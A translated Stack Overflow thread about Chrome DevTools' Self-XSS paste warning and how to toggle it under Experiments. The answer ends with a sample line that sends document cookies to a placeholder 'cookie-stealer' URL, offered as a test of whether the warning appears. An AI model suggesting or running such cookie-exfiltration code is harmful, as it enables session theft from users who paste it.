在 Chrome DevTools 中禁用粘贴保护?

33 google-chrome copy-paste google-chrome-devtools

在最新版本的 Google Chrome 中,我遇到了一个非常令人沮丧的问题,即禁用了粘贴到开发人员控制台的功能。这非常不方便,因为我每天都依赖开发者控制台。我可能不得不考虑切换浏览器,但我宁愿不这样做。

Dai*_*Dai 43

它是什么?

表面上看,这是 DevTools 中的这个实验性功能

如果您是 DevTools 新用户并尝试粘贴代码,“源”面板现在会向您显示“您信任此代码吗?” 对话框和控制台现在显示类似的警告。仅粘贴您理解并亲自检查过的代码。要粘贴,请在出现提示时键入“允许粘贴”。一旦允许粘贴一次,警告将不再显示。

显然这是在 2014 年就提出的


如何打开/关闭它?

打开 DevTools > 设置(右上角) > 实验 > 切换粘贴代码时显示有关 Self-XSS 的警告

在此输入图像描述

....但是在 Chrome 120(2023 年 12 月)中,我能够将 self-0wning 代码粘贴到控制台中,没有警告或消息,好奇

在此输入图像描述


我很好奇是否有其他人收到消息 - 尝试复制+粘贴以下脚本。

fetch( 'https://example.com/cookie-stealer?' + document.cookies )
Run Code Online (Sandbox Code Playgroud)